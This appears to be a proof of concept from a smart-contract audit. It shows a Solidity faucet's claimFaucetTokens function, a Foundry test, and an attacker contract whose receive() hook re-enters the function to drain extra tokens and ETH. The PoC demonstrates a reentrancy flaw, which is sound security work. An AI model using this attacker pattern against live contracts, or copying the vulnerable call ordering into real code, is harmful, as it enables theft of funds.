function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
The vulnerable code.
function testClaimFaucetTokensReentrancyAttack() public {
ClaimFaucetTokensAttacker attacker = new ClaimFaucetTokensAttacker();
attacker.setTarget(raiseBoxFaucet);
vm.deal(address(raiseBoxFaucet), 1 ether);
uint256 initialContractEthBalance = address(raiseBoxFaucet).balance;
uint256 initialContractTokenBalance = raiseBoxFaucet.balanceOf(address(raiseBoxFaucet));
uint256 initialAttackerTokenBalance = raiseBoxFaucet.balanceOf(address(attacker));
uint256 initialAttackerEthBalance = address(attacker).balance;
console.log("=== INITIAL STATE ===");
console.log("Contract ETH balance:", initialContractEthBalance);
console.log("Contract token balance:", initialContractTokenBalance);
console.log("Attacker token balance:", initialAttackerTokenBalance);
console.log("Attacker ETH balance:", initialAttackerEthBalance);
attacker.attack();
uint256 finalContractEthBalance = address(raiseBoxFaucet).balance;
uint256 finalContractTokenBalance = raiseBoxFaucet.balanceOf(address(raiseBoxFaucet));
uint256 finalAttackerTokenBalance = raiseBoxFaucet.balanceOf(address(attacker));
uint256 finalAttackerEthBalance = address(attacker).balance;
console.log("=== FINAL STATE ===");
console.log("Contract ETH balance:", finalContractEthBalance);
console.log("Contract token balance:", finalContractTokenBalance);
console.log("Attacker token balance:", finalAttackerTokenBalance);
console.log("Attacker ETH balance:", finalAttackerEthBalance);
uint256 tokensGained = finalAttackerTokenBalance - initialAttackerTokenBalance;
uint256 ethGained = finalAttackerEthBalance - initialAttackerEthBalance;
uint256 contractTokensLost = initialContractTokenBalance - finalContractTokenBalance;
uint256 contractEthLost = initialContractEthBalance - finalContractEthBalance;
console.log("=== ATTACK RESULTS ===");
console.log("Tokens gained by attacker:", tokensGained);
console.log("ETH gained by attacker:", ethGained);
console.log("Tokens lost by contract:", contractTokensLost);
console.log("ETH lost by contract:", contractEthLost);
uint256 expectedTokens = raiseBoxFaucet.faucetDrip();
uint256 expectedEth = raiseBoxFaucet.sepEthAmountToDrip();
console.log("Expected tokens (1x drip):", expectedTokens);
console.log("Expected ETH (1x drip):", expectedEth);
if (tokensGained > expectedTokens) {
console.log("REENTRANCY VULNERABILITY DETECTED!");
console.log("Attacker gained more tokens than expected");
console.log("Extra tokens stolen:", tokensGained - expectedTokens);
}
if (ethGained > expectedEth) {
console.log("REENTRANCY VULNERABILITY DETECTED!");
console.log("Attacker gained more ETH than expected");
console.log("Extra ETH stolen:", ethGained - expectedEth);
}
assertTrue(tokensGained >= expectedTokens, "Attacker should have gained at least the faucet drip");
assertTrue(ethGained >= expectedEth, "Attacker should have gained at least the ETH drip");
}
}
contract ClaimFaucetTokensAttacker {
RaiseBoxFaucet public target;
uint256 public attackCount = 0;
uint256 public maxAttacks = 3;
bool public attacking = false;
function setTarget(RaiseBoxFaucet _target) external {
target = _target;
}
function attack() public {
attacking = true;
attackCount = 0;
target.claimFaucetTokens();
attacking = false;
console.log("Attack completed");
console.log("Contract ETH balance after attack:", address(target).balance);
console.log("Contract token balance after attack:", target.balanceOf(address(target)));
console.log("Attacker token balance after attack:", target.balanceOf(address(this)));
}
receive() external payable {
console.log("Receive function triggered! Received:", msg.value);
console.log("Attack count:", attackCount);
if (attacking && attackCount < maxAttacks) {
attackCount++;
console.log("Attempting reentrancy attack #", attackCount);
try target.claimFaucetTokens() {
console.log("Reentrancy attack #", attackCount, "succeeded!");
} catch Error(string memory reason) {
console.log("Reentrancy attack #", attackCount, "failed:", reason);
} catch {
console.log("Reentrancy attack #", attackCount, "failed with low-level error");
}
} else {
console.log("Max attacks reached or not attacking, stopping reentrancy");
}
}
}